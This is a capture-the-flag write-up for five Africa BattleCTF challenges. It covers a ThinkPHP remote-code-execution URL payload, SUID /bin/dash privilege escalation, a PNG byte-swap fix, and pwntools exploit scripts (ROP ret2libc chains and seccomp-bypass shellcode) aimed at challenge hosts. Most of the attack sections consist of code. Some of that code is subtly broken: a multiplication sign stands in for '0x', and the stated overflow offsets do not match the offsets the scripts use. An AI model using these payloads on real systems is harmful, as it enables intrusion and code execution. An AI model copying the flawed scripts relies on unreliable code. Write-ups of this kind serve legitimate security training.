# Writeups

**Challenge 1: Web Exploitation - Africa BattleCTF Website**

In this challenge, we were presented with a basic webpage displaying the title "Africa battleCTF." The HTML source didn't reveal much information at first, but there was a clue: the page fetched JavaScript from a domain, `e.topthink.com`. Curious, I did a quick search on this URL and learned that it was associated with the ThinkPHP framework, which is known to have a remote code execution (RCE) vulnerability.

## Step 1: Investigating the Exploit

ThinkPHP's vulnerability allows attackers to execute commands remotely, which seemed promising for our challenge. I looked up some publicly available exploits and found one that seemed effective. By substituting the target URL with the following payload, I managed to execute arbitrary commands:

```
http://chall.bugpwn.com:8083/?
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0
]=system&vars[1][]=id
```

## Step 2: Establishing a Reverse Shell

To gain full interactive access, I set up a reverse shell. This allowed me to run commands directly on the server, providing a more flexible environment for exploration.

## Step 3: Privilege Escalation

Once I had a foothold, I looked for potential privilege escalation vectors. I searched for binaries with the SUID (Set User ID) bit set, which are often exploitable. Among them, I found `/bin/dash`, a binary that allowed me to spawn a root shell using this command:

```
/bin/dash -p
```

With this, I escalated my privileges to root and successfully captured the flag.

**Challenge 2: Reverse Engineering a Corrupted PNG Header**

In this challenge, we were provided with a file named "Agent47." At first glance, the file didn't appear to be a recognizable image format. However, upon inspection, I noticed that it shared similarities with a standard PNG image but had some peculiarities in the header.

To confirm this, I used the `xxd` command to view the file's hex structure and saw that the initial bytes resembled those of a PNG file header, albeit jumbled. This suggested that the bytes might be out of order, specifically that pairs of bytes were swapped. Here's the structure I noticed in the hex output:

- **PNG File Structure Check**: PNG files typically start with the following hex sequence: `89 50 4E 47 0D 0A 1A 0A`. However, the "Agent47" file had its bytes misaligned, indicating that each pair might be swapped (for instance, `50 89` instead of `89 50`).

## Step 1: Reversing the Byte Swapping

I devised a plan to correct the swapped byte pairs by reading each byte, identifying its position, and switching it with its neighboring byte. This method would essentially reverse the alteration, potentially restoring the file to a recognizable PNG format.

## Step 2: Writing the Byte-Swapping Script

To make the process repeatable and efficient, I created a Python script that reads the corrupted file, swaps each pair of bytes, and writes the corrected bytes to a new file named `fixed_image.png`. Here's the code:

```
# Byte-Swapping Script to Restore PNG File Structure

# Open the corrupted file in binary mode
image_bytes = open('Agent47', 'rb').read()

# Initialize a list to store the corrected bytes
final = []

# Fill the list with placeholder bytes
for i in range(len(image_bytes)):
    final.append(b'\x00')

# Loop through the file and swap each pair of bytes
index = 0
while index < len(image_bytes):
    byte = image_bytes[index]
    new_index = 0
```

```
    # Determine if the current index is even or odd
    if (index % 2) == 0:
        new_index = index + 1  # For even indices, swap with the next
byte
    else:
        new_index = index - 1  # For odd indices, swap with the
previous byte

    # Place the byte in the swapped position
    final[new_index] = byte
    index += 1

# Convert the corrected list back into a byte array
byte_array = bytes(final)

# Write the corrected bytes to a new file
with open('./fixed_image.png', 'wb') as f:
    f.write(byte_array)
```

## Step 3: Verifying the File

After running the script, I opened `fixed_image.png` to check its integrity. It loaded successfully as a valid PNG file, confirming that the byte-swapping fix worked perfectly!

## Step 4: Extracting Information from the Corrected File

Next, I used the `strings` command on `fixed_image.png` to search for any hidden messages. One of the strings matched the format of a flag, suggesting it might be encoded with ROT47 and a shift key of 46. I used CyberChef to decode it, and voila, it revealed the flag!

This approach demonstrated the effectiveness of reversing byte-level corruption by scripting. The corrected file provided the expected output and allowed us to extract the challenge flag.

### Challenge 3: Binary Exploitation - "Kami"

The next challenge provided us with three files: a binary, a linker file, and a `libc` file. First, I patched the binary to ensure it used the provided `libc` and linker, creating an environment similar to the remote setup.

## Step 1: Security Analysis

Running a `checksec` command on the binary revealed that it had no PIE (Position Independent Executable) or stack canary protections. Opening it in Ghidra, I found that the binary leaked an address from the `fflush` function. This leak allowed us to calculate the base address for the `libc` functions, a crucial piece for exploitation.

## Step 2: Buffer Overflow Discovery

The `kami` function contained a vulnerable `gets` call, which doesn't check input length, leading to a buffer overflow. I also observed that the return address was 128 bytes away from the buffer's start, giving us an offset to work with for our exploit.

## Step 3: Building the Exploit Script

To automate the exploitation, I created a script that:

1. Extracts the leaked `fflush` address and calculates the `libc` base.
2. Finds the address of `system`, `/bin/sh`, and other required functions.
3. Constructs a ROP chain to call `system("/bin/sh")`, ultimately providing us with a shell.

Here's the final exploit script:

```
#!/usr/bin/env python
from pwn import *
import re

# Setup for remote or local execution
filename = './patched'
libc = ELF("./libc.so.6")
e = ELF(filename)
target = remote("challenge.bugpwn.com", 1000)

# Receive leak and parse fflush address
leak = target.recv()
fflush_leak = int(re.findall(b'0x[a-f0-9]+', leak)[0].decode(), 0)
libc.address = fflush_leak - 0×6b590

# Calculate other function addresses
system = libc.symbols['system']
bin_sh = next(libc.search(b'/bin/sh'))
```

```
# Construct ROP payload
payload = b'A' * 136  # Overflow buffer to control return address
payload += p64(system)  # Call system
payload += p64(bin_sh)  # Argument: /bin/sh

# Send payload and start interaction
target.sendline(payload)
target.interactive()
```

Running this script provided us with a shell, allowing us to complete the challenge and obtain the flag.

⚡

**Challenge 4: Exploiting Seccomp Restrictions - "Universe"**

This challenge involved a binary that created an executable memory region and accepted user input, storing it in that region. However, it also used `seccomp` to limit which system calls were allowed, adding a twist.

## Step 1: Analyzing the Binary with Ghidra

Opening the binary in Ghidra, I found that it created a memory region with `mmap`, marked as executable, and applied `seccomp` rules to restrict system calls. After inspecting the `seccomp` settings, I discovered that common syscalls like `open`, `execve`, and `fork` were blocked.

## Step 2: Bypassing `seccomp` Restrictions

To bypass the restrictions, I utilized the `openat` and `sendfile` syscalls, which were not restricted and allowed me to read the flag file.

## Step 3: Crafting the Exploit

Here's the exploit script that uses `shellcraft` from `pwntools` to assemble the shellcode and bypass the restrictions:

```
#!/usr/bin/env python
from pwn import *
context.arch = "amd64"

# Build shellcode to open and read the flag
shellcode = shellcraft.openat(-100, "/flag.txt", 0)  # Open flag
```

```
shellcode += shellcraft.sendfile(1, 3, 0, 4000)  # Send file content
to stdout

# Assemble shellcode and pad to required size
shellcode = asm(shellcode)
payload = shellcode + b'\x00' * (0×1000 - len(shellcode))

# Connect to target and send shellcode byte-by-byte
target = remote("challenge.bugpwn.com", 1004)
target.recvuntil(b'What do you think of the universe?\n')
for byte in payload:
    target.send(byte)

target.interactive()
```

This payload effectively bypassed the `seccomp` restrictions, and we successfully retrieved the flag.

⚡

**Challenge 5: Stack Buffer Overflow - "Terminal"**

In this challenge, we were given a simple terminal emulator that allowed command execution but had a buffer overflow vulnerability.

## Step 1: Analyzing the Vulnerability

I used Ghidra to analyze the binary, noting that it called `strcpy` without bounds checking. The vulnerable buffer was 56 bytes away from the return address, allowing us to overflow and control the return address.

## Step 2: Building a Return-to-Libc Exploit

The GOT (Global Offset Table) revealed function pointers, which we could use to resolve the address of `puts` and calculate the `libc` base. From there, we could find the addresses of `system` and `/bin/sh`, crafting a payload to spawn a shell.

## Step 3: Exploit Script

Here's the exploit script to leak addresses and call `system("/bin/sh")`:

```
#!/usr/bin/env python
from pwn import *
```

```
filename = './terminal'
e = ELF(filename)
libc = ELF("/usr/lib/i386-linux-gnu/libc.so.6")
target = remote("20.199.76.210", 1005)

# Overflow buffer to control return address
offset = 66
rop = b"A" * offset
rop += p32(e.plt['puts'])
rop += p32(e.symbols['main'])
rop += p32(e.got['strcpy'])

# Send payload to leak libc address
target.sendlineafter(b'#', rop)
puts_leak = u32(target.recv(4).strip())

# Calculate addresses
libc.address = puts_leak - libc.symbols['puts']
system = libc.symbols['system']
bin_sh = next(libc.search(b'/bin/sh'))

# Final ROP chain
rop = b"A" * offset
rop += p32(system)
rop += p32(libc.symbols['exit'])
rop += p32(bin_sh)

target.sendlineafter(b'#', rop)
target.interactive()
```

This allowed us to control execution flow, calling `system("/bin/sh")` to get a shell and capture the flag.